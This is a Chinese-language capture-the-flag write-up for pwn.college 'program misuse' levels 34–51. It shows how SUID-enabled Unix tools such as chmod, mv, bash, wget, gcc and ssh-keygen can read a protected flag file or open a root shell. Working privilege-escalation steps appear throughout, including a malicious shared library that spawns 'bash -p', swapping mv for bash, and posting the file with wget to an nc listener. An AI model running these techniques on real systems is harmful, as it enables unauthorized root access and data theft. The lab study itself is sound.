:设置awk
变量的值。-W <compat|posix>
:设置兼容性模式。-F,
:指定逗号为字段分隔符。-v
:定义变量,例如-v var=value
。
在 awk
中,动作指令是在模式匹配成功后执行的操作。它可以是一个简单的动作,也可以是一个复杂的动作块,用花括号 {}
括起来。
以下是一些常见的 awk
动作指令:
-
print:打印当前行或指定字段的内容。
awk '{ print }' file.txt awk '{ print $1, $2 }' file.txt
-
assignment:赋值操作,将一个值赋给变量。
awk '{ x = $1 + $2; print x }' file.txt
-
if-else:条件语句,根据条件执行不同的操作。
awk '{ if ($1 > 10) print "Greater"; else print "Smaller" }' file.txt
-
for:循环语句,对一组值进行迭代处理。
awk '{ for (i = 1; i <= NF; i++) print $i }' file.txt
-
while:循环语句,根据条件重复执行操作。
awk '{ i = 1; while (i <= NF) { print $i; i++ } }' file.txt
-
split:将字符串拆分为数组。
awk '{ split($0, arr, ","); print arr[1] }' file.txt
-
delete:删除数组中的元素。
awk '{ delete arr[$1] }' file.txt
-
next:跳过当前行,继续处理下一行。
awk '{ if ($1 == "skip") next; print }' file.txt
-
exit:立即终止
awk
的执行。awk '{ if ($1 == "stop") exit; print }' file.txt
这些是 awk
中常见的动作指令,可以根据具体的需求编写复杂的 awk
脚本来处理文本数据。
常见用法示例
-
打印指定列:
awk '{print $1, $3}' file.txt
-
根据条件筛选行:
awk '$3 > 50' file.txt
-
统计行数:
awk 'END {print NR}' file.txt
-
计算列的总和:
awk '{sum += $1} END {print sum}' file.txt
-
指定字段分隔符:
awk -F, '{print $1}' file.csv
-
使用
awk
脚本文件:awk -f script.awk file.txt
-
定义变量:
awk -v var=10 '{print $1, var}' file.txt
awk '{ print }' /flag
level35(sed)
sed
是一个流编辑器,主要用于对文本进行编辑、转换和过滤。它可以读取文本文件,逐行处理文本,并根据指定的编辑命令对文本进行修改。以下是一些常用的 sed
指令:
-
替换文本:
s/old/new/
,将每一行中的old
替换为new
。sed 's/old/new/' file.txt
-
全局替换:
s/old/new/g
,将每一行中的所有old
替换为new
。sed 's/old/new/g' file.txt
-
行删除:
d
,删除匹配的行。sed '/pattern/d' file.txt
-
行打印:
p
,打印匹配的行。sed -n '/pattern/p' file.txt
-
行追加:
a
,在匹配行后添加新行。sed '/pattern/a new line' file.txt
-
行插入:
i
,在匹配行前插入新行。sed '/pattern/i new line' file.txt
-
行替换:
c
,将匹配行替换为新文本。sed '/pattern/c new line' file.txt
-
打印行号:
=
sed '=' file.txt
-
删除空行:
/^$/d
,删除空白行。sed '/^$/d' file.txt
-
正则表达式:支持正则表达式进行模式匹配和替换。
这些是 sed
中常用的一些指令,可以根据具体的需求和文本数据编写复杂的 sed
脚本来处理文本。
sed -n 'p' /flag
level36(ed)
ed
是一个文本编辑器,可以在终端中以行为单位对文本文件进行编辑。虽然 ed
的使用方式相对较复杂,但它是 Unix 系统中最早的编辑器之一,对于在纯文本终端环境下进行编辑操作非常有用。以下是一些常用的 ed
指令和用法:
-
打开文件:打开一个文件进行编辑。
ed filename
-
插入文本:在指定行之后插入文本。
a text to insert .
-
添加文本:在文件末尾添加文本。
a text to append .
-
替换文本:用新文本替换指定行的文本。
s/old/new/
-
删除行:删除指定行。
d
-
显示行:显示指定行的内容。
p
-
移动光标:将光标移动到指定行。
n
-
保存退出:保存修改并退出编辑器。
wq
-
退出不保存:放弃修改并退出编辑器。
q
-
显示行号:显示当前行号。
=
-
插入命令:在当前行之前插入一行命令。
i command .
-
执行命令:执行当前行的命令。
!
这种不常用
hacker@program-misuse~level36:/challenge$ ed /flag
57
p
pwn.college{oSLjpurQyv2NRFJmvTLXN49oRUm.0FO3EDLzczN0UzW}
level37(chown)
chown
是一个用于更改文件或目录的所有者的命令,它可以修改文件或目录的所有者和所属用户组。以下是一些 chown
命令的常用用法:
-
更改文件所有者:将文件的所有者更改为指定的用户。
chown username filename
-
更改文件所有者和所属组:将文件的所有者和所属组同时更改为指定的用户和组。
chown username:groupname filename
-
更改目录及其子目录的所有者:使用
-R
选项可以递归更改目录及其子目录中所有文件的所有者。chown -R username directory
-
使用 UID 和 GID 更改所有者:可以使用用户的 UID 和组的 GID 来指定所有者和组,而不是用户名和组名。
chown uid:gid filename
-
仅更改文件的所属组:如果省略了所有者部分,则只更改文件的所属组。
chown :groupname filename
-
仅更改目录的所有者,但不更改子目录和文件的所有者:对于目录,可以使用
--reference
选项,将一个目录的所有者和组信息作为参考,并应用到另一个目录。chown --reference=reference_file directory
-
仅更改文件的权限而不更改所有者:可以使用
-v
选项显示详细信息,包括每个文件的更改。chown -v username filename
-
更改符号链接的所有者:默认情况下,
chown
不会更改符号链接的所有者,但可以使用-h
选项来更改符号链接本身的所有者。chown -h username symlink
这些是 chown
命令的一些常用用法,可以根据具体的需求选择合适的选项和参数。
hacker@program-misuse~level37:/challenge$ chown -c hacker /flag
changed ownership of '/flag' from root to hacker
hacker@program-misuse~level37:/challenge$ cat /flag
pwn.college{8LnNaiS1CrzNHDD3_gzCrvxUFgY.0VO3EDLzczN0UzW}
level38(chmod)
chmod
是用于更改文件或目录权限的命令。它可以通过指定权限模式来修改文件的读、写、执行权限,也可以通过符号或数字形式来设置权限。以下是一些常用的 chmod
命令和选项:
-
基本语法:
chmod [options] mode file(s)
-
设置权限:通过数字形式设置权限。
chmod 755 file.txt
-
符号形式设置权限:
u
:文件所有者g
:文件所属组o
:其他用户a
:所有用户
chmod u+x file.txt
-
递归设置权限:通过
-R
选项递归地更改目录及其子目录的权限。chmod -R 755 directory
-
赋予所有权限:
chmod 777 file.txt
-
取消特定权限:
chmod a-x file.txt
-
使文件可执行:
chmod +x script.sh
-
设置特殊权限:
setuid
(SUID):将文件的执行权限设置为所有者的权限。setgid
(SGID):将文件的执行权限设置为组的权限。sticky
:设置目录的粘滞位,防止其他用户删除非自己的文件。
chmod u+s file.txt
-
数字形式设置权限:
4
:读权限2
:写权限1
:执行权限
chmod 644 file.txt
-
显示详细信息:通过
-v
选项显示操作的详细信息。chmod -v 755 file.txt
-
使用绝对路径设置权限:
chmod /path/to/file.txt
IMPORTANT: make sure to run me (./babysuid_level38) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/chmod!
hacker@program-misuse~level38:/challenge$ chmod 777 /flag
hacker@program-misuse~level38:/challenge$ cat /flag
pwn.college{QI1o6TWY0HyOp6UWUMrgD7oKFaf.0FM4EDLzczN0UzW}
level39(cp)
hacker@program-misuse~level39:/challenge$ touch myflag
touch: cannot touch 'myflag': Permission denied
hacker@program-misuse~level39:/challenge$ touch myflag.txt
touch: cannot touch 'myflag.txt': Permission denied
hacker@program-misuse~level39:/challenge$ cd ~
hacker@program-misuse~level39:~$ ls
Desktop leap myflag
hacker@program-misuse~level39:~$ cp /flag ~/myflag
hacker@program-misuse~level39:~$ cat myflag
pwn.college{Qk-mBYdB47xVyCjxSB0xC1SUaIZ.0VM4EDLzczN0UzW}
或者说可以这样写
cp /flag /dev/stdout
level40(mv)
使用
mv
命令无法在不改变文件属性的情况下移动文件
想了半小时想不出如何绕过
- 思路1
看了github一位老哥的写法;很神奇
就是将先将 flag
文件移动到 当前用户目录下,虽然文件属性没有发生改变,但是平台可以保留这个目录文件到其他关卡,那么我们之间到cat有suid下的关卡就可以直接读了
-
思路2
通过移动将 mv的二进制文件替换为bash的二进制文件,然后运行判题程序,那么bash就有的suid权限,那么我们就有了root权限
从而提权成功
hacker@program-misuse~level40:/challenge$ ./babysuid_level40 &&mv /usr/bin/bash /usr/bin/mv&& ./babysuid_level40 &&mv -p
Welcome to ./babysuid_level40!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!
Welcome to ./babysuid_level40!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!
mv-5.0# cat /flag
pwn.college{wni-KDP3s-n97BB2eWOTe5wUl5i.0lM4EDLzczN0UzW}
mv-5.0#
level41(perl)
Perl
is a high-level, versatile programming language know for its powerful text processing capabilities. It was created by Lary Wall
in the late 1980s
.
我们需要用perl语言来读取/flag
拷问gpt
#!/usr/bin/perl
use strict;
use warnings;
# 打开文件
open(my $fh, '<', '/flag') or die "无法打开文件 '/flag' $!";
# 读取文件内容并打印到标准输出
while (my $line = <$fh>) {
print $line;
}
# 关闭文件
close($fh);
hacker@program-misuse~level41:~/demo$ vim perl.pl
hacker@program-misuse~level41:~/demo$ perl perl.pl
pwn.college{E3xT7qLwd2jI9Ev6oHUdWFb4v-Z.01M4EDLzczN0UzW}
hacker@program-misuse~level41:~/demo$
level42(python)
hacker@program-misuse~level42:/challenge$ cd ~/demo/
hacker@program-misuse~level42:~/demo$ vim program_misuse_level42.py
hacker@program-misuse~level42:~/demo$ python program_misuse_level42.py
pwn.college{InEQ92_mJH6ItEQoBai78E2l2Mj.0FN4EDLzczN0UzW}
# 打开文件
with open('/flag', 'r') as file:
# 读取文件内容
content = file.read()
# 打印文件内容
print(content)
level43(ruby)
不会ruby,拷打gpt
# 打开文件
file = File.open('/flag', 'r')
# 读取文件内容
content = file.read
# 输出文件内容
puts content
# 关闭文件
file.close
ruby level43.ruby
level44(bash)
- 写bash脚本
while read -r line;
do
echo "$line";
done < /flag
发现没有权限读取
实际上发生的情况是,由于我们已经设置了 SUID
,所以我们正在像 bash
那样执行 pseudo-root
,但当 bash
发现我们并不是真正的 root
,而是在扮演 root
的角色时,它会取消我们在 SUIDing
bash
时获得的特权。这种做法被称为 mitigation
,它可以减少 command injection
造成的伤害,因为大多数情况下, command injection vulnerabilities end up hijacking /bin/sh
。
To disable mitigation
, bash -p [command]
is used.要禁用 mitigation
,可以使用 bash -p [command]
直接设置为特权模式
所以直接使用 bash -p /flag
level45(date)
date,原来的作用是显示当前时间或者将时间按格式输出,但是用-f
可以读取文件,如果文件内容不是正常的日期,则会回显出来。
date -f /flag
level46(dmesg)
dmesg
("display message"的缩写)命令用于显示Linux内核环缓冲区中的消息。它提供了一个查看系统引导过程中发生的事件和错误的途径,以及与设备、驱动程序和其他内核组件相关的信息。
基本用法:
dmesg
这将显示内核环缓冲区中的所有消息。为了使输出易于管理,你可能需要将其与管道符(|)一起使用,以便进行分页或搜索:
dmesg | less
你也可以使用grep
命令来过滤特定的信息,比如只显示关于硬盘的信息:
dmesg | grep sda
如果你只想查看最近的N行消息,你可以使用tail
命令:
dmesg | tail -n 20
你也可以将dmesg
输出保存到文件中以供后续参考:
dmesg > dmesg_output.txt
dmesg
命令的输出通常包括与系统引导、设备识别、驱动程序加载、硬件错误和其他系统级事件相关的消息。
此题直接使用dmesg -F /flag
level47(wc)
wc
是一个常用的命令行工具,用于统计文件中的字数、行数和字符数。它的名字代表 “word count”,但实际上它能够提供更多信息。通过在命令行中输入 wc
加上文件名,它会返回文件中的行数、字数和字符数。
wc
命令的常见用法包括:
-
统计文件的行数:
wc -l filename
-
统计文件的单词数:
wc -w filename
-
统计文件的字符数:
wc -c filename
-
统计文件的字节数(考虑多字节字符):
wc -m filename
-
统计文件中最长行的长度:
wc -L filename
-
统计多个文件的总行数、单词数和字符数:
wc -lwc filename1 filename2 filename3
-
通过管道符将其他命令的输出传递给
wc
进行统计,例如:cat filename | wc -l
wc,wc命令原作用是统计文件的字节数、字数、行数。但是通过
--files0-from
参数可以从文件中读取文件名,所以如果文件内容不是一个正常的文件名的话就会回显出来,如下:wc --files0-from=/flag
level48(gcc)
- 思路1是直接编写一个C文件,然后读取/flag
#include<stdio.h>
int main()
{
FILE * fptr;
fptr = fopen("/flag", "r");
if(fptr == NULL)
{
printf("Error opening file");
return 1;
}
char line[100];
while(fgets(line, 100, fptr))
{
printf("%s", s);
}
fclose(fptr);
return 0;
}
- 或者可以直接预处理/flag文件,头文件包含即可,报错信息会回显/flag
gcc -x c -E /flag
level49(as)
as是GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。报错会回显问文件信息。
想要去除一些杂乱信息就这样:
as @/flag
level50(wget)
wget,wget是Linux系统下载文件工具。
一般可以通过-i
参数来获取文件中内容,不过发现它把大写字母全部转成小写字母了,这不是我们想要的。
查看有关文件的命令
hacker@program-misuse~level50:/challenge$ wget --help |grep FILE
-o, --output-file=FILE log messages to FILE
-a, --append-output=FILE append messages to FILE
-i, --input-file=FILE download URLs found in local or external FILE
--config=FILE specify config file to use
--rejected-log=FILE log reasons for URL rejection to FILE
-O, --output-document=FILE write documents to FILE
--load-cookies=FILE load cookies from FILE before session
--save-cookies=FILE save cookies to FILE after session
--post-file=FILE use the POST method; send contents of FILE
--body-file=FILE send contents of FILE. --method MUST be set
--certificate=FILE client certificate file
--private-key=FILE private key file
--ca-certificate=FILE file with the bundle of CAs
--crl-file=FILE file with bundle of CRLs
--pinnedpubkey=FILE/HASHES Public key (PEM/DER) file, or any number
--random-file=FILE file with random data for seeding the SSL PRNG
--warc-file=FILENAME save request/response data to a .warc.gz file
--warc-dedup=FILENAME do not store records listed in this CDX file
hacker@program-misuse~level50:/challenge$ wget --help |grep file
Logging and input file:
-o, --output-file=FILE log messages to FILE
-i, --input-file=FILE download URLs found in local or external FILE
-F, --force-html treat input file as HTML
-B, --base=URL resolves HTML input-file links (-i -F)
--config=FILE specify config file to use
--no-config do not read any config file
existing files (overwriting them)
-c, --continue resume getting a partially-downloaded file
-N, --timestamping don't re-retrieve files unless newer than
--no-use-server-timestamps don't set the local file's timestamp by
--restrict-file-names=OS restrict chars in file names to ones OS allows
--ignore-case ignore case when matching files/directories
--unlink remove file before clobber
--xattr turn on storage of metadata in extended file attributes
-P, --directory-prefix=PREFIX save files to PREFIX/..
--save-headers save the HTTP headers to file
--post-file=FILE use the POST method; send contents of FILE
--body-file=FILE send contents of FILE. --method MUST be set
choosing local file names (EXPERIMENTAL)
--certificate=FILE client certificate file
--private-key=FILE private key file
--ca-certificate=FILE file with the bundle of CAs
--crl-file=FILE file with bundle of CRLs
--pinnedpubkey=FILE/HASHES Public key (PEM/DER) file, or any number
--random-file=FILE file with random data for seeding the SSL PRNG
--hsts-file path of HSTS database (will override default)
--no-remove-listing don't remove '.listing' files
--no-glob turn off FTP file name globbing
--preserve-permissions preserve remote file permissions
--retr-symlinks when recursing, get linked-to files (not dir)
--warc-file=FILENAME save request/response data to a .warc.gz file
--warc-max-size=NUMBER set maximum size of WARC files to NUMBER
--warc-cdx write CDX index files
--warc-dedup=FILENAME do not store records listed in this CDX file
--no-warc-compression do not compress WARC files with GZIP
--no-warc-keep-log do not store the log file in a WARC record
--warc-tempdir=DIRECTORY location for temporary files created by the
--delete-after delete files locally after downloading them
local files
--convert-file-only convert the file part of the URLs only (usually known as the basename)
--backups=N before writing file X, rotate up to N backup files
-K, --backup-converted before converting file X, back up as X.orig
可以利用它的文件上传功能来进行读取文件的原本内容,如下:
nc -lp 8888 & wget --post-file=/flag http://127.0.0.1:8888 //监听本地8888端口,并且用wget上传/flag到本地8888端口
nc
是一个功能强大的网络工具,常用于创建 TCP 或 UDP 连接,发送或接收数据,执行端口扫描等操作。以下是 nc
常用的命令和参数:
常用命令:
-
监听模式:用于启动一个服务器以监听连接请求。
nc -l <port>
-
连接到远程主机和端口:
nc <hostname/IP> <port>
-
从标准输入发送数据:
nc <hostname/IP> <port>
-
从文件发送数据:
nc <hostname/IP> <port> < file
-
发送数据并接收回复:
nc -z <hostname/IP> <port>
常用参数:
-l
:监听模式。-p <port>
:指定本地端口号。-e <command>
:指定在建立连接后执行的命令。-u
:使用 UDP 协议。-t
:使用 TCP 协议(默认)。-v
:显示详细信息。-w <timeout>
:设置超时时间。-i <interval>
:设置发送数据包的间隔时间。-s <source>
:设置本地源地址。-z
:进行端口扫描,但不建立连接。-k
:保持连接,持续监听传入的连接。-d
:启用调试模式。-h
或--help
:显示帮助信息。
这些命令和参数可以根据具体的需求组合使用,帮助实现各种网络调试、探测和传输任务。
level51(ssh-keygen)
根据这一关卡的描述,题目大致是要求我们加载一段自己写的代码,阅读ssh-keygen
的man
文档 ,可以发现ssh-keygen可以加载一个名叫pkcs11
的库文件,这个库的名字是shared library
,因此是一个
dynamic link library
,我们要将我们的代码加载进去,就必须创建一个dll
gcc -shared -o libexample.so example.c
hacker@program-misuse-level-51:~$ touch test.c
hacker@program-misuse-level-51:~$ gcc -c -fPIC test.c -o test.o
hacker@program-misuse-level-51:~$ ls
Desktop demo key key.pub test.c test.o
hacker@program-misuse-level-51:~$ gcc -shared test.o -o test.so
hacker@program-misuse-level-51:~$ ls
Desktop demo key key.pub test.c test.o test.so
hacker@program-misuse-level-51:~$ ssh-keygen -D ./test.so
./test.so does not contain expected string C_GetFunctionList
provider ./test.so is not a PKCS11 library
cannot read public key from pkcs11
根据报错信息,我们需要在这个dll中有一个C_GetFunctionList
那么改写我们的c代码
#include<stdio.h>
int C_GetFunctionList()
{
printf("Hello World\n");
FILE* fp;
fp = fopen("/flag", "r");
char line[100];
while(fgets(line, 100, fp))
{
printf("%s", line);
}
return 0;
}
hacker@program-misuse~level51:~/demo$ ssh-keygen -D ./level51.so
Hello World
pwn.college{URDrFXWtQjHXjtkQO4hH4oWCj6X.01M5EDLzczN0UzW}
Segmentation fault
官方教学
知识点:
-
首先是ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权,共享库的创建方式见下方。
使用方法:
ssh-keygen -D ./su.os
-
可以利用c语言代码:
sendfile(1,open("/flag",0),0,4096);
来打开文件,并且将内容发送给标准输出显示。
-
可以利用设置c语言的attribute属性来使函数在程序预处理阶段运行:
#include<stdio.h> #include<stdlib.h> static void inject() __attribute__((constructor)); void inject(){ printf("euid:%d\n",geteuid()); sendfile(1,open("/flag",0),0,4096); }
-
c程序的链接方式包括静态链接和动态链接两种。
静态链接库,在以前,程序是独立的,编个程序要从头到尾自己考虑。后来为了方便,把通用的程序放在一起,这就是库,遇到需要类似的功能就可以调用。但是这个有个问题,计算机不知道你要用的是链接库哪一个程序, 所以它不得不将链接库全部程序包含进来,使得程序很大。 动态链接库,本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序,给它们开个交换数据的接口,写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。 完成需要的功能后,这个DLL停止运行,整个调用过程结束。 DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。DLL的代码和其他程序几平没什么两样,仅仅是接口和启动模式不同。
-
gcc可以通过
-shared
参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter
这样的字段,也就是没有链接解释器。gcc 51.c -shared -o su.os
-
c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库,详细说明可以通过:
man dlopen
来查看。
-
ldd命令 用于打印程序或者库文件所依赖的共享库列表。我们可以利用它来查看是否有可操作的os共享库,注入我们的代码。
-
另外一种查询方式是利用strace来查看程序运行全程,然后可以用grep来过滤一下:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
编写51.c:
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
printf("euid:%d\n",geteuid());
sendfile(1,open("/flag",0),0,4096);
//system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);
}
编译后用ssh-keygen的-D参数运行即可:
gcc 51.c -shared -o su.os
/challenge/babysuid_level51
ssh-keygen -D ./su.os
总结:
本小节是SUID提权,可以让本没有相应权限的用户,访问它没有权限访问的程序
level1~6 常用的读取文件内容的命令依次为:cat、more、less、tail、head、sort、rev
level7~9 常见的文本编辑器 依次为:vim、emacs、nano
11~13:常见的16进制读取命令,依次为:od、hexdump(hd)、xxd
level14~15 base系列编码命令依次为:base32、base64
16:分割文件命令,为:splite
17~23:常见压缩解压缩命令,依次为:gzip、bzip2、zip、tar、ar、cpio、genisoimage
24~31:可执行命令的常见命令,依次为:env、find、make、nice、timeout、stdbuf、setarch、watch
32:常见网络连接工具,为:socat
33:脚本对话框工具,为:whiptail
34~36:流式文本编辑器,为:awk、sed、ed
37~38:修改文件归属者或权限,为:chown、chmod
39~40:常见移动文件命令,cp、mv
41~44:脚本解释器 perl python ruby bash
45~50 其他可读取文件的命令 date,dmesg wc gcc as wget
51 ssh-keygen